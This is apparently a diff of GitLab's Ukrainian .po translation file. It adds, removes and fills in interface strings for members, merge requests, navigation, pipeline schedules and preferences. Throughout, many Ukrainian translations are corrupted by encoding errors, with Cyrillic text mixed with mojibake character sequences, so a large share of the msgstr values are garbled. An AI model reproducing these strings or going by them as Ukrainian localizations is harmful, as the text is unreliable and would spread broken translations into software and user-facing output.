msgstr "Помилка Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð·Ð²'Ñзаного реÑурÑу Ð´Ð»Ñ Ñ–Ð½Ñ†Ð¸Ð´ÐµÐ½Ñ‚Ñƒ: %{error}"
msgid "LinkedResources|Fetching linked resources"
-msgstr ""
+msgstr "ÐžÑ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð¿Ð¾Ð²'Ñзаних реÑурÑів"
msgid "LinkedResources|Link"
msgstr "ПоÑиланнÑ"
@@ -25308,7 +25564,7 @@ msgid "Locked by %{fileLockUserName}"
msgstr "Заблоковано %{fileLockUserName}"
msgid "Locked files"
-msgstr ""
+msgstr "Заблоковані файли"
msgid "Locked the discussion."
msgstr "ДиÑкуÑÑ–ÑŽ закрито."
@@ -25392,7 +25648,7 @@ msgid "MR widget|The pipeline will test your code on every commit. A %{codeQuali
msgstr ""
msgid "MRApprovals|Approvals"
-msgstr ""
+msgstr "Затверджуючі оÑоби"
msgid "MRApprovals|Approved by"
msgstr "Затверджено"
@@ -25401,7 +25657,7 @@ msgid "MRApprovals|Approvers"
msgstr "Затверджуючі оÑоби"
msgid "MRApprovals|Commented by"
-msgstr ""
+msgstr "Коментар від"
msgid "MRDiffFile|Changes are too large to be shown."
msgstr ""
@@ -25454,6 +25710,9 @@ msgstr "ЗдійÑнити та переглÑнути зміни в браузÐ
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr "Зробіть кожного учаÑника команди більш продуктивним незалежно від його міÑцезнаходженнÑ. GitLab Geo Ñтворює копії \"тільки Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ\" вашого GitLab Ñервера, щоб Ñкоротити Ñ‡Ð°Ñ Ð´Ð»Ñ ÐºÐ»Ð¾Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ñ– Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ ÐºÐ¾Ð´Ñƒ з великих репозиторіїв."
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25469,9 +25728,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr "Керувати функціÑми веб-IDE."
@@ -25571,6 +25827,9 @@ msgstr "Позначити задачу Ñк пов’Ñзану з іншою"
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr "Markdown"
+
msgid "Markdown Help"
msgstr "Довідка по розмітці Markdown"
@@ -25640,9 +25899,6 @@ msgstr "Позначено Ñк готове. Тепер Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð´Ð¾Ð·Ð²Ð¾
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr "Цю задачу позначено дублікатом %{duplicate_param}."
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr "Цю задачу позначено пов’Ñзаною з %{issue_ref}."
@@ -25655,9 +25911,6 @@ msgstr "Помітити"
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr "Позначає задачу Ñк дублікат %{duplicate_reference}."
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr "Позначає задачу Ñк пов’Ñзану з %{issue_ref}."
@@ -25815,7 +26068,7 @@ msgid "Maximum file size indexed (KiB)"
msgstr ""
msgid "Maximum file size is 1 MB. Image size must be 32 x 32 pixels. Allowed image formats are %{favicon_extension_allowlist}."
-msgstr ""
+msgstr "МакÑимальний розмір файлу 1 Мб. Розмір Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð¼Ð°Ñ” бути 32 Ñ… 32 пікÑелÑ. Дозволені формати зображень %{favicon_extension_allowlist}."
msgid "Maximum file size is 1MB. Pages are optimized for a 24px tall header logo"
msgstr ""
@@ -25997,6 +26250,9 @@ msgstr "Ð—Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ Ð¿Ñ€Ð¸Ñ”Ð´Ð½Ð°Ñ‚Ð¸ÑÑ Ð´Ð¾ %{project_or_group} %{p
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -26038,8 +26294,11 @@ msgstr[3] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr "%{group} на %{createdBy}"
+
msgid "Members|%{time} by %{user}"
-msgstr ""
+msgstr "%{time} на %{user}"
msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
msgstr "%{userName} наразі Ñ” кориÑтувачем LDAP. Ð ÐµÐ´Ð°Ð³ÑƒÐ²Ð°Ð½Ð½Ñ Ñ—Ñ…Ð½Ñ–Ñ… дозволів замінить Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñинхронізації групи LDAP."
@@ -26047,6 +26306,21 @@ msgstr "%{userName} наразі Ñ” кориÑтувачем LDAP. РедагуÐ
msgid "Members|2FA"
msgstr "двофакторна автентифікаціÑ"
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr "Група повинна мати принаймні одного влаÑника. Щоб залишити цю групу, призначте нового влаÑника."
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr "Група повинна мати принаймні одного влаÑника. Щоб видалити кориÑтувача, призначте нового влаÑника."
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr "ВлаÑник перÑонального проєкту не може бути видалений."
+
+msgid "Members|Access granted"
+msgstr "Отримано доÑтуп"
+
+msgid "Members|Activity"
+msgstr "ÐктивніÑÑ‚ÑŒ"
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr "Виникла помилка під Ñ‡Ð°Ñ Ñпроби увімкнути Ð¿ÐµÑ€ÐµÐ²Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ LDAP, будь лаÑка, Ñпробуйте знову."
@@ -26068,11 +26342,11 @@ msgstr "Ви впевнені, що хочете залишити \"%{source}\"?
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr "Ви впевнені, що хочете видалити\"%{groupName}?"
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
-msgstr "Ви впевнені, що хочете видалити %{usersName} з \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
+msgstr "Ви дійÑно бажаєте видалити %{userName} з \"%{group}\"?"
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
-msgstr "Ви впевнені, що хочете видалити учаÑника, що залишивÑÑ, з \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
+msgstr "Ви впевнені, що хочете видалити цього оÑиротілого учаÑника з \"%{group}\"?"
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
msgstr "Ви впевнені, що хочете відкликати Ð·Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ Ð´Ð»Ñ %{inviteEmail} приєднатиÑÑ Ð´Ð¾ \"%{source}\""
@@ -26080,17 +26354,23 @@ msgstr "Ви впевнені, що хочете відкликати запро
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr "Ви впевнені, що хочете відкликати Ñвій запит на доÑтуп до \"%{source}\""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr "Ðеможливо залишити \"%{source}\""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr "ПрÑмий учаÑник %{createdBy}"
+
msgid "Members|Disabled"
-msgstr ""
+msgstr "Вимкнено"
msgid "Members|Edit permissions"
-msgstr ""
+msgstr "Змінити права доÑтупу"
msgid "Members|Enabled"
-msgstr ""
+msgstr "Увімкнено"
msgid "Members|Expiration date removed successfully."
msgstr "Дата Ð·Ð°ÐºÑ–Ð½Ñ‡ÐµÐ½Ð½Ñ Ñ‚ÐµÑ€Ð¼Ñ–Ð½Ñƒ дії уÑпішно видалена."
@@ -26099,7 +26379,7 @@ msgid "Members|Expiration date updated successfully."
msgstr "Дата Ð·Ð°ÐºÑ–Ð½Ñ‡ÐµÐ½Ð½Ñ Ñ‚ÐµÑ€Ð¼Ñ–Ð½Ñƒ дії уÑпішно оновлена."
msgid "Members|Filter groups"
-msgstr ""
+msgstr "Фільтр груп"
msgid "Members|Filter members"
msgstr "Фільтр учаÑників"
@@ -26110,6 +26390,9 @@ msgstr "УÑпадковані"
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr "ОÑÑ‚Ð°Ð½Ð½Ñ Ð°ÐºÑ‚Ð¸Ð²Ð½Ñ–ÑÑ‚ÑŒ"
+
msgid "Members|Leave \"%{source}\""
msgstr "Залишити \"%{source}\""
@@ -26137,6 +26420,12 @@ msgstr "Пошук груп"
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr "Створений кориÑтувач"
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr "Ви не можете видалити Ñебе з оÑобиÑтого проєкту."
+
msgid "Member|Deny access"
msgstr ""
@@ -26189,7 +26478,7 @@ msgid "Merge blocked: pipeline must succeed. It's waiting for a manual job to co
msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾: конвеєр має бути уÑпішним. Він чекає ручної роботи, щоб продовжити."
msgid "Merge blocked: the source branch must be rebased onto the target branch."
-msgstr ""
+msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾: вихідна гілка повинна бути перебазована(rebased) на цільову гілку."
msgid "Merge commit SHA"
msgstr "SHA коміту злиттÑ"
@@ -26339,7 +26628,7 @@ msgid "MergeRequestApprovals|Enforce %{separationLinkStart}separation of duties%
msgstr ""
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
-msgstr ""
+msgstr "Коментарі в Ñ€Ñдках %{selectStart}почали%{selectEnd} до %{end}"
msgid "MergeRequestDiffs|Select comment starting line"
msgstr ""
@@ -26422,11 +26711,14 @@ msgstr "Помилка при відхиленні вікна підказок.
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr "Помилка при заванаженні повного порівнÑннÑ. Будь лаÑка, Ñпробуйте знову."
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr "Файлів не знайдено"
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
-msgstr ""
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
+msgstr "Пошук (наприклад, *.vue) (%{MODIFIER_KEY}P)"
msgid "MergeTopics|%{sourceTopic} will be removed"
msgstr "%{sourceTopic} буде видалено"
@@ -26485,6 +26777,9 @@ msgstr "ПовідомленнÑ"
msgid "Messages"
msgstr "ПовідомленнÑ"
+msgid "Metadata"
+msgstr "Метаданні"
+
msgid "Method"
msgstr "Метод"
@@ -26916,6 +27211,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr "Копіювати ідентифікатор етапу"
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr "Ідентифікатор етапу: %{milestone_id}"
+
msgid "MilestoneSidebar|Closed:"
msgstr "Закрито:"
@@ -27312,6 +27613,9 @@ msgstr "ПідтримуєтьÑÑ ÐºÑ–Ð»ÑŒÐºÐ° діапазонів IP-адре
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr "Кілька підпиÑів"
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27336,6 +27640,9 @@ msgstr "ÐОВИЙ"
msgid "Name"
msgstr "Ім’Ñ"
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr "Ðе може бути порожнім"
@@ -27345,6 +27652,9 @@ msgstr "Ð†Ð¼â€™Ñ Ð²Ð¶Ðµ викориÑтовуєтьÑÑ"
msgid "Name is already taken."
msgstr "Ім'Ñ Ð²Ð¶Ðµ зайнÑто."
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr "Ðазвіть нову мітку"
@@ -27370,24 +27680,36 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
-msgstr "%{namespace_name} зараз доÑтупний лише Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ. Ви не можете: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
+msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27481,6 +27803,27 @@ msgstr "Світло-Червоний"
msgid "NavigationTheme|Red"
msgstr "Червоний"
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr "ПереключитиÑÑŒ до..."
+
+msgid "Navigation|View all groups"
+msgstr "ПереглÑнути вÑÑ– групи"
+
+msgid "Navigation|View all projects"
+msgstr "ПереглÑнути вÑÑ– проєкти"
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr "Допомога"
@@ -27611,9 +27954,6 @@ msgstr "Ðовий ключ Ð´Ð»Ñ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ"
msgid "New directory"
msgstr "Ðовий каталог"
-msgid "New discussion"
-msgstr "Ðова диÑкуÑÑ–Ñ"
-
msgid "New email address added"
msgstr ""
@@ -27642,7 +27982,7 @@ msgid "New identity"
msgstr "Ðова ідентифікаціÑ"
msgid "New incident"
-msgstr ""
+msgstr "Ðовий інцидент"
msgid "New incident has been created"
msgstr ""
@@ -27929,9 +28269,6 @@ msgstr "Без мітки"
msgid "No labels with such name or description"
msgstr "Ðемає міток з таким іменем або опиÑом"
-msgid "No license. All rights reserved"
-msgstr "Ðемає ліцензії. Ð’ÑÑ– права захищені"
-
msgid "No matches found"
msgstr "Збігів не знайдено"
@@ -28020,7 +28357,7 @@ msgid "No results found"
msgstr "Ðічого не знайдено"
msgid "No results found."
-msgstr ""
+msgstr "Результатів не знайдено."
msgid "No runner executable"
msgstr ""
@@ -28110,6 +28447,21 @@ msgstr ""
msgid "Normal text"
msgstr "Звичайний текÑÑ‚"
+msgid "NorthstarNavigation|Alpha"
+msgstr "Ðльфа"
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28210,7 +28562,7 @@ msgid "Notes|Last reply by %{name}"
msgstr ""
msgid "Notes|Make this an internal note"
-msgstr ""
+msgstr "Зробити це внутрішньою нотаткою"
msgid "Notes|Show all activity"
msgstr "Показати вÑÑŽ активніÑÑ‚ÑŒ"
@@ -28289,7 +28641,7 @@ msgid "NotificationEvent|Failed pipeline"
msgstr "Ðевдача в конвеєрі"
msgid "NotificationEvent|Fixed pipeline"
-msgstr ""
+msgstr "Виправлений конвеєр"
msgid "NotificationEvent|Issue due"
msgstr ""
@@ -28301,7 +28653,7 @@ msgid "NotificationEvent|Merge when pipeline succeeds"
msgstr "Об'єднати, Ñкщо конвеєр пройде уÑпішно"
msgid "NotificationEvent|Moved project"
-msgstr ""
+msgstr "Переміщений проєкт"
msgid "NotificationEvent|New epic"
msgstr "Ðовий епік"
@@ -28571,7 +28923,7 @@ msgid "Notify|The Administrator created an account for you. Now you are a member
msgstr "ÐдмініÑтратор Ñтворив Ð´Ð»Ñ Ð²Ð°Ñ Ð¾Ð±Ð»Ñ–ÐºÐ¾Ð²Ð¸Ð¹ запиÑ. Тепер ви Ñ” учаÑником компанії GitLab заÑтоÑунку."
msgid "Notify|The Auto DevOps pipeline failed for pipeline %{pipeline_link} and has been disabled for %{project_link}. In order to use the Auto DevOps pipeline with your project, please review the %{supported_langs_link}, adjust your project accordingly, and turn on the Auto DevOps pipeline within your %{settings_link}."
-msgstr ""
+msgstr "Конвеєр Auto DevOps завершивÑÑ Ð½ÐµÐ²Ð´Ð°Ð»Ð¾ Ð´Ð»Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ð° %{pipeline_link} Ñ– його вимкнено Ð´Ð»Ñ %{project_link}. Щоб викориÑтовувати конвеєр Auto DevOps за допомогою вашого проєкту, будь лаÑка, переглÑньте %{supported_langs_link} Ðалаштуйте Ñвій проєкт відповідно та увімкніть конвеєр Auto DevOps у вашому %{settings_link}."
msgid "Notify|The diff for this file was not included because it is too large."
msgstr "Ð Ñ–Ð·Ð½Ð¸Ñ†Ñ Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ файлу не була включена, тому що він завеликий."
@@ -28654,13 +29006,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28711,6 +29057,18 @@ msgstr ""
msgid "Observability"
msgstr "СпоÑтережливіÑÑ‚ÑŒ"
+msgid "Observability|Dashboards"
+msgstr "Панель керуваннÑ"
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "жовт."
@@ -28752,7 +29110,7 @@ msgid "On the left sidebar, select %{merge_requests_link} to view them."
msgstr "Ðа лівій бічній панелі, виберіть %{merge_requests_link} Ð´Ð»Ñ Ñ—Ñ… переглÑду."
msgid "On track"
-msgstr ""
+msgstr "По плану"
msgid "On-call Schedules"
msgstr "Розклади дзвінків"
@@ -28935,7 +29293,7 @@ msgid "OnDemandScans|Are you sure you want to delete this scan?"
msgstr ""
msgid "OnDemandScans|Cancel"
-msgstr ""
+msgstr "СкаÑувати"
msgid "OnDemandScans|Could not delete saved scan. Please refresh the page, or try again later."
msgstr ""
@@ -29142,6 +29500,9 @@ msgstr "Один або кілька з ваших файлів залежноÑ
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr "Один чи кілька ваших перÑональних токенів доÑтупу проÑтрочено."
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr "Термін дії одного або декількох ваших токенів оÑобиÑтого доÑтупу закінчитьÑÑ Ñ‡ÐµÑ€ÐµÐ· %{days_to_expire} днів або раніше:"
@@ -29307,6 +29668,9 @@ msgstr "Панель ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð¾Ð¿ÐµÑ€Ð°Ñ†Ñ–Ñми міÑтить ін
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr "Оптимізувати ваш робочий Ð¿Ñ€Ð¾Ñ†ÐµÑ Ð·Ð° допомогою CI/CD конвеєрів"
@@ -29734,12 +30098,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr "Helm"
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "Якщо ви ще не зробили цього, вам потрібно буде додати розміщене нижче в Ñвій файл %{codeStart}.pypirc%{codeEnd}."
@@ -29900,9 +30258,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr "Пройдіть опитуваннÑ"
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29972,7 +30327,7 @@ msgid "PackageRegistry|published by %{author}"
msgstr "опубліковано %{author}"
msgid "Packages"
-msgstr ""
+msgstr "Пакети"
msgid "Packages and registries"
msgstr "Пакети та реєÑтри"
@@ -30049,12 +30404,6 @@ msgstr "Параметри"
msgid "Parent"
msgstr "Джерело"
-msgid "Parent epic doesn't exist."
-msgstr "БатьківÑький епік не Ñ–Ñнує."
-
-msgid "Parent epic is not present."
-msgstr "БатьківÑький епік відÑутній."
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30107,7 +30456,7 @@ msgid "PasswordPrompt|Please enter your password to confirm"
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
-msgstr ""
+msgstr "Паролі повинні бути унікальними Ñ– не викориÑтовуватиÑÑ Ð´Ð»Ñ Ð±ÑƒÐ´ÑŒ-Ñких інших Ñайтів або ÑервіÑів."
msgid "Password|Not satisfied"
msgstr "Ðе задовільний"
@@ -30341,7 +30690,7 @@ msgid "PersonalProject|Learn to move a project to a group"
msgstr "ÐавчітьÑÑ Ð¿ÐµÑ€ÐµÐ¼Ñ–Ñ‰ÑƒÐ²Ð°Ñ‚Ð¸ проєкт до групи"
msgid "PersonalProject|Some GitLab features, including the ability to upgrade to a paid plan or start a free trial, are only available for groups and projects inside groups. %{projectName} is a personal project, so none of this is available. We recommend you move your project to a group to unlock GitLab's full potential."
-msgstr ""
+msgstr "ДеÑкі функції GitLab, включаючи можливіÑÑ‚ÑŒ перейти на платний план або почати безкоштовну пробну верÑÑ–ÑŽ, доÑтупні тільки Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿ Ñ– проєктів вÑередині груп. %{projectName} Ñ” оÑобиÑтим проєктом, тому нічого з цього не доÑтупно. Ми рекомендуємо вам переміÑтити ваш проєкт до групи, щоб розкрити веÑÑŒ потенціал GitLab."
msgid "PersonalProject|We have some instructions to help you create a group and move your project into it."
msgstr "У Ð½Ð°Ñ Ñ” деÑкі інÑтрукції, Ñкі допоможуть вам Ñтворити групу та переміÑтити ваш проєкт у неї."
@@ -30584,10 +30933,10 @@ msgid "PipelineEditor|Validating pipeline... It can take up to a minute."
msgstr "Перевірка конвеєра... Це може зайнÑти до хвилини."
msgid "PipelineEditor|Waiting for CI content to load..."
-msgstr ""
+msgstr "ÐžÑ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð²Ð¼Ñ–Ñту CI..."
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
-msgstr ""
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
+msgstr "ВлаÑний (%{linkStart}ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ.%{linkEnd})"
msgid "PipelineSchedules|Activated"
msgstr "Ðктивовано"
@@ -30601,6 +30950,9 @@ msgstr "Ð’ÑÑ–"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr "Ви впевнені, що хочете видалити цей розклад Ð´Ð»Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ð°?"
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr "Видалити розклад конвеєра"
@@ -30613,6 +30965,9 @@ msgstr "Редагувати розклад конвеєра"
msgid "PipelineSchedules|Inactive"
msgstr "Ðеактивні"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr "ОÑтанній Конвеєр"
@@ -30640,6 +30995,12 @@ msgstr "Задайте короткий Ð¾Ð¿Ð¸Ñ Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ конвеєÑ
msgid "PipelineSchedules|Run pipeline schedule"
msgstr "ЗапуÑтити розклад конвеєра"
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30658,6 +31019,9 @@ msgstr "Під Ñ‡Ð°Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ñ€Ð¾Ð·ÐºÐ»Ð°Ð´Ñƒ конвеєра виÐ
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr "Виникла проблема під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ñ€Ð¾Ð·ÐºÐ»Ð°Ð´Ñ–Ð² конвеєрів."
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31607,14 +31971,11 @@ msgid "Preferences|Choose between fixed (max. 1280px) and fluid (%{percentage})
msgstr "Оберіть між фікÑованим (макÑ. 1280 пікÑ.) та адаптивним (%{percentage}) макетом."
msgid "Preferences|Choose what content you want to see by default on your dashboard."
-msgstr ""
+msgstr "Виберіть, Ñкий контент ви хочете бачити за замовчуваннÑм на Ñвоїй панелі керуваннÑ."
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "Вибрати вміÑÑ‚ оглÑдової Ñторінки проєкту."
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr "Колір Ð´Ð»Ñ Ð´Ð¾Ð´Ð°Ð½Ð¸Ñ… Ñ€Ñдків"
@@ -31622,7 +31983,7 @@ msgid "Preferences|Color for removed lines"
msgstr "Колір Ð´Ð»Ñ Ð²Ð¸Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ… Ñ€Ñдків"
msgid "Preferences|Color theme"
-msgstr ""
+msgstr "Кольори теми"
msgid "Preferences|Configure how dates and times display for you."
msgstr "Ðалаштуйте Ñк Ð´Ð»Ñ Ð²Ð°Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶Ð°Ñ‚Ð¸Ð¼ÑƒÑ‚ÑŒÑÑ Ð´Ð°Ñ‚Ð¸ Ñ– чаÑ."
@@ -31631,7 +31992,7 @@ msgid "Preferences|Customize integrations with third party services."
msgstr "Ðалаштуйте інтеграцію зі Ñторонніми Ñлужбами."
msgid "Preferences|Customize the color of GitLab."
-msgstr ""
+msgstr "Ðалаштувати колір GitLab."
msgid "Preferences|Customize the colors of removed and added lines in diffs."
msgstr "Ðалаштувати кольори вилучених Ñ– доданих Ñ€Ñдків у відмінноÑÑ‚ÑÑ…."
@@ -31672,6 +32033,9 @@ msgstr "Ширина макета"
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr "Повинно бути чиÑлом від %{min} до %{max}"
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr "Відмова від бета-верÑÑ–Ñ— Web IDE"
+
